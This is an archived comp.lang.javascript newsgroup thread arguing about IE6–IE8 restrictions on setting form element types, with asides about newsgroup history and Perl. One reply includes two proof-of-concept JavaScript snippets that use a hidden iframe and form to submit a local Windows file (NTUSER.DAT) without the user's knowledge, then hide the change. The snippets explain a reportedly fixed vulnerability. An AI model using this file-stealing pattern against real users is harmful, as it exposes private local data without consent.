FYI: Dynamically created form elements in IE

[VK]

In continuation of discussion at
http://groups.google.ru/group/comp.lang.javascript/browse_frm/thread/ee8a1afd6b07d4bc
in the particular http://groups.google.ru/group/comp.lang.javascript/msg/a6ad29140d7f8b3d
http://groups.google.ru/group/comp.lang.javascript/msg/5de9dc0567b9e331

First of all, *any* commercially usable library intended to support
legacy IE6 environment creates form elements over a separate IE6-only
branch (respectively with IE6 detection on startup) with IE-only
createElement syntax. This way the issue has mainly theoretical impact
unless someone is creating form-handling script from the scratch and
needs to support IE6 as well.

IE6 in its long history has a greate number of vulnerability attacks
with a greate amount of them targeted to input-file element in order
to gain local file access. Miscrosoft had to issue emergency security
fixes, oftenly by deliberately breaking some existing functionality
and by restoring it in upcoming fixes and cummulative updates. All
this was connected with setting input element type using the
conventional DOM methods. As since the last IE6 update and up to the
current IE8 the only remnant remains: the lock on type assignment to
button element. The exact explanation of the security risk is
irrelevant as it is not a hacker forum. Just a hint that it is still
connect with input-file.

At the same time is one managed to create a form element in the
conventional way, then further IE behavior is the same as for others.
There are not "disappeared" text elements or so as claimed. If
Microsoft once confirmed it, it just shows once again that MS tech
guys are not gods but just people able to make mistakes.

At http://jsnet.sourceforge.net/entities.html one can test it if still
in doubts (of course IE6-8 is needed). This test first creates
different form elements and logs each step. Then it stops and over
setTimeout starts new test where all current form elements being
listed. As the last step one can press Firefox image button to submit
it to http://www.example.com over GET. This way the CGI data can be
viewed in the address bar.

 

[VK]

At http://jsnet.sourceforge.net/entities.html one can test ...

Sorry, wrong link, the right one is
http://jsnet.sourceforge.net/elements.html

 

[VK]

At http://jsnet.sourceforge.net/entities.htmlone can test it

Also http://jsnet.sourceforge.net/elements_v2.html with slightly
changed logic: now on type change error the cycle doesn't loop but
continues with element's default type.

 

[Thomas 'PointedEars' Lahn]

In continuation of discussion at
http://groups.google.ru/group/comp.lang.javascript/browse_frm/thread/ee8a1afd6b07d4bc
in the particular
http://groups.google.ru/group/comp.lang.javascript/msg/a6ad29140d7f8b3d
http://groups.google.ru/group/comp.lang.javascript/msg/5de9dc0567b9e331

First of all, *any* commercially usable library intended to support
legacy IE6 environment creates form elements over a separate IE6-only
branch (respectively with IE6 detection on startup) with IE-only
createElement syntax. This way the issue has mainly theoretical impact
unless someone is creating form-handling script from the scratch and
needs to support IE6 as well.

And all of them (though I seriously doubt the "any") are evidently wrong.
No amount of whining of yours is going to change that. Take it like a man
or leave.

IE6 in its long history has a greate number of vulnerability attacks
with a greate amount of them targeted to input-file element in order
to gain local file access. Miscrosoft had to issue emergency security
fixes, oftenly by deliberately breaking some existing functionality
and by restoring it in upcoming fixes and cummulative updates. All
this was connected with setting input element type using the
conventional DOM methods. As since the last IE6 update and up to the
current IE8 the only remnant remains: the lock on type assignment to
button element. The exact explanation of the security risk is
irrelevant as it is not a hacker forum.

That depends on how you define a "hacker". I for one consider this to be a
"hacker forum" (but I would never use that term) because I define "hacker"
(without other attributes) as defined by <http://catb.org/~esr/faqs/hacker-
howto.html>.

Incidentally, that is also why I think the reasons for implementing this
security measure are very relevant because we (at least I) want to promote
understanding here instead of cultivating an air of security by obscurity.

Just a hint that it is still connect with input-file.

Instead of giving dubious hints like this, a "FYI" posting that is worth the
bytes it takes would include the (actually very simple) explanation: They
want to prevent people from submitting arbitrary local files automatically
on a Web site by reusing `input' elements.

However, Microsoft in their "wisdom" has chosen the worst possible solution
to address the problem: forbid assigning to the `type' property at all if
the element has already been added to the document. Other vendors, like
Mozilla.org, have powered-up their brains instead: they reset the `value'
property to the empty string when `type' is assigned "file", and throw an
exception when `value' is assigned to if `type' stores "file". (Lately they
even yield only the filename when reading the `value' property when
..type=="file", while formerly they yielded [IIRC] the original, empty string
value.)

[TLDR]

PointedEars

 

[VK]

Thomas 'PointedEars' Lahn wrote:
And all of them (though I seriously doubt the "any") are evidently wrong. 
No amount of whining of yours is going to change that.  Take it like a man
or leave.

Eah, right... It reminds me that old story about a corporal and a
platoon on the marsh. The corporal also was all upset that only him is
keeping pace while the whole platoon ia making "Right!" to his
"Left!"
There are already two "victorious corporals" of the kind, ciwah (aka
comp.infosystems.www.authoring.html) and ciwas (aka
comp.infosystems.www.authoring.stylesheets). For years they were
pushing unfit to eat hoaxes (one "DIV layouts", other "pure HTML" and
XHTML, both "semantical Web"). Both had were intelligent and devoted
people pushing it and helping each other. They won and everyone who
did not agree is left. Complete victory! Now alt.html is the place to
discuss both CSS and HTML, and ciwah and ciwas "winners" are trying to
be helpful there because their own groups became rarely visited
curiosity stores. And their situation is worser than the possible one
for clj, because they don't have a Perl script what would be daily
posting ancient FAQs, so they are missing even the opportunity to
argue with a bot . I'd really like not to see clj won in the same
way. I'd like to see clj is the place to ask about anything javascript-
related. I'd like to see M$ guys coming here as for the last resort to
find some help, not "jobless" regulars sneaking a topic to answer at m
$js (aka microsoft.public.scripting.jscript).

Incidentally, that is also why I think the reasons for implementing this
security measure are very relevant because we (at least I) want to promote
understanding here instead of cultivating an air of security by obscurity..

To really explain a vulnerability it is needed to post a code or a
block schema or at least a formal algorithm description of the
vulnerability exploit. Such post would be not a way of better
understanding of something, it would be an actual tool to hack some
existing systems. Such posts should not be on a public forum, though I
might be outdated on that.

Instead of giving dubious hints like this, a "FYI" posting that is worth the
bytes it takes would include the (actually very simple) explanation: They
want to prevent people from submitting arbitrary local files automatically
on a Web site by reusing `input' elements.

Such simplified explanation would make reader wonder why [input
type="button"] or [input type="submit"] are OK and what is so
particularly evil in [button type="button"] or [button type="submit"]
that it's still locked in IE. But see my comment above.

 

[David Mark]

Eah, right... It reminds me that old story about a corporal and a
platoon on the marsh. The corporal also was all upset that only him is
keeping pace while the whole platoon ia making "Right!" to his
"Left!"
There are already two "victorious corporals" of the kind, ciwah (aka
comp.infosystems.www.authoring.html) and ciwas (aka
comp.infosystems.www.authoring.stylesheets). For years they were
pushing unfit to eat hoaxes (one "DIV layouts", other "pure HTML" and
XHTML, both "semantical Web").

Notorious hoaxes, those. What's a DIV layout?

Both had were intelligent and devoted
people pushing it and helping each other. They won and everyone who
did not agree is left. Complete victory!

Who won what?

Now alt.html is the place to
discuss both CSS and HTML, and ciwah and ciwas "winners" are trying to
be helpful there because their own groups became rarely visited
curiosity stores.

Hadn't noticed.

And their situation is worser than the possible one
for clj, because they don't have a Perl script what would be daily
posting ancient FAQs, so they are missing even the opportunity to
argue with a bot .

Beats "arguing" with you.

I'd really like not to see clj won in the same
way.

It's not a contest.

I'd like to see clj is the place to ask about anything javascript-
related. I'd like to see M$ guys coming here as for the last resort to
find some help, not "jobless" regulars sneaking a topic to answer at m
$js (aka microsoft.public.scripting.jscript).

That group is closed. And the "MS guys" do come here as a last
resort.

To really explain a vulnerability it is needed to post a code or a
block schema or at least a formal algorithm description of the
vulnerability exploit. Such post would be not a way of better
understanding of something, it would be an actual tool to hack some
existing systems. Such posts should not be on a public forum, though I
might be outdated on that.

You certainly are outdated on a lot of things (PERL being the latest
entry on that list). Is this an intimation that you have some sort of
JS hacker tool that you don't want to post? Keep it.

Instead of giving dubious hints like this, a "FYI" posting that is worth the
bytes it takes would include the (actually very simple) explanation: They
want to prevent people from submitting arbitrary local files automatically
on a Web site by reusing `input' elements.

Such simplified explanation would make reader wonder why [input
type="button"] or [input type="submit"] are OK and what is so
particularly evil in [button type="button"] or [button type="submit"]
that it's still locked in IE. But see my comment above.

Locked in IE?

 

[VK]

What's a DIV layout?

Goggle is your friend, as usual:
http://www.google.com/#q=div+layout

Though the post is for readers who were active participant of clj/
ciwah/ciwas events of at least 5 last years, otherwise nearly each
line might need a Google search or a clj/ciwah/ciwas archives search.
If such necessity is presented then probably the reader can stay
indifferent to the post. It is not to put anyone down, really, just a
observation.

Who won what?

see above

Hadn't noticed.

see above, also see ciwah archives, alt.html stats, alt.html archives
and history - but really see above.

Beats "arguing" with you.  

Well, in such case I would suggest to add A.L.I.C.E. to the server and
to teach her to say dirty things about say features' testing. That
would keep some hell busy for years. )

It's not a contest.

"won" (means "lost")

That group is closed.    And the "MS guys" do come here as a last
resort.

Indeed? When did it happen?

You certainly are outdated on a lot of things (PERL being the latest
entry on that list).  Is this an intimation that you have some sort of
JS hacker tool that you don't want to post?  Keep it.  

About Perl - I am not fighting with young soldiers, unless no way
out . "They" (as "We" in the post you are referring to) know
everything because all necessary books are learned. "We" (as whoever
you may think of) are needed only when "they" get unto troubles with
their books and then they run to uncle VK to some other uncle for
help Of course "we", just like "they", are using String and -w.
But unlike "them" we are removing all this as soon as the script fully
tested and ready to be deployed. One day a perfectly working script
with #!/usr/bin/perl -w will get silent from one HTTP server, then
from another one and eventually "they" will get the same useful habits
as "we" have.
(as it gets Perl-only, I would prefer to stop this branch of arguing
or to cross-post with answers coming to comp.lang.perl.misc)

You misread the thread. I never claimed that I knew some non-fixed
security exploit in IE over [button] element type manipulations. All I
said is that such manipulations are locked since IE6 for some security
reasons (and respectively the exploit is closed) and that they remain
locked because a better solution without security impact is still not
found by Microsoft.

 

[Thomas 'PointedEars' Lahn]

[fixed attribution]

First of all, *any* commercially usable library intended to support
legacy IE6 environment creates form elements over a separate IE6-only
branch (respectively with IE6 detection on startup) with IE-only
createElement syntax. This way the issue has mainly theoretical impact
unless someone is creating form-handling script from the scratch and
needs to support IE6 as well.

[...]
And all of them (though I seriously doubt the "any") are evidently wrong.
No amount of whining of yours is going to change that. Take it like a
man or leave.

[gibberish rambling about newsgroups]

I seriously wish you would spare us that kind of completely clueless FUD at
least. Future generations might desperately need the bandwidth thus wasted
;-)

And learn to quote as you have already been told a hundred or so times
before.

To really explain a vulnerability it is needed to post a code or a
block schema or at least a formal algorithm description of the
vulnerability exploit.

Anyone reading my description thoroughly and thinking clearly (that state of
mind which you have yet to achieve) can imagine how it goes; but since you
insist, it goes along these lines (no harm done, since the vulnerability is
fixed already everywhere and the exploit code probably has already been
published):

var iframe = document.createElement("iframe");
iframe.style.display = "none";
document.body.appendChild(iframe);
window.frames["foo"].name = "foo";

Variant A)

var form = document.createElement("form");
form.action = "crack";
form.method = "POST";
form.target = "foo";

var input = document.createElement("input");

/* never fails, despite VK's babbling */
input.type = "file";

/* fails if vulnerability is fixed */
input.value = "C:\\Documents and Settings\\Default User\\NTUSER.DAT";

form.appendChild(input);

document.body.appendChild(form);
form.submit();

window.setTimeout("document.body.removeChild(form);", 10000);

Variant B)

var form = document.forms[0];

/* see above */
var action = form.action;
var target = form.target;
var method = form.method;
form.action = "crack";
form.method = "POST";
form.target = "foo";

var input = form.getElementsByTagName("input")[0];

var value = input.value;

try
{
input.value = "C:\\Documents and Settings\\Default User\\NTUSER.DAT";
}
catch (e)
{}

var type = input.type;

/* fails if vulnerability is fixed the M$ way */
input.type = "file";

/* submits an empty string if vulnerability is fixed the Mozilla way */
form.submit();

/* switches back so exploit cannot be noticed in time */
input.value = value;
input.type = type;

window.setTimeout(
function() {
form.action = action;
form.target = target;
form.method = method;
},
2500);

And for both then:

document.body.removeChild(iframe);

Such post would be not a way of better understanding of something, it
would be an actual tool to hack some existing systems. Such posts should
not be on a public forum,
Nonsense.

though I might be outdated on that.

You don't say.

Instead of giving dubious hints like this, a "FYI" posting that is worth
the bytes it takes would include the (actually very simple) explanation:
They want to prevent people from submitting arbitrary local files
automatically on a Web site by reusing `input' elements.

Such simplified explanation would make reader wonder why [input
type="button"] or [input type="submit"] are OK and what is so
particularly evil in [button type="button"] or [button type="submit"]
that it's still locked in IE. But see my comment above.

The rather obvious problem here is that M$ did not consider the side effects
of their design decision to prevent assignments to the `type' property of
added objects per se. The Mozilla people and others were smarter
(eventually; Bugzilla probably tells more), because it is now possible there
to transform an input of any type into another type (for example, one can
transform a radio button into a checkbox and vice-versa) without allowing
the vulnerability, as the `value' property is reset for the only relevant
case of `type === "file"'.


PointedEars

 

[VK]

you should _not_
disable strict mode in production code, and disabling the warnings is
unwise, unless you're not interested in receiving information about
runtime errors, or you know _exactly_ what you're doing

.... or more commonly if you are making a script for yourself to deploy
on a known/controlled server. Otherwise see "Perl Cookbook" by Tom
Christiansen, Nathan Torkington, recipe 19.2
I have the 1st edition of 2000, but 2nd has the same format I believe:
http://books.google.com/books?id=IzdJIax6J5oC
(I wish I knew that recipe that far day from now)

Yes, please, let's stop it.

OK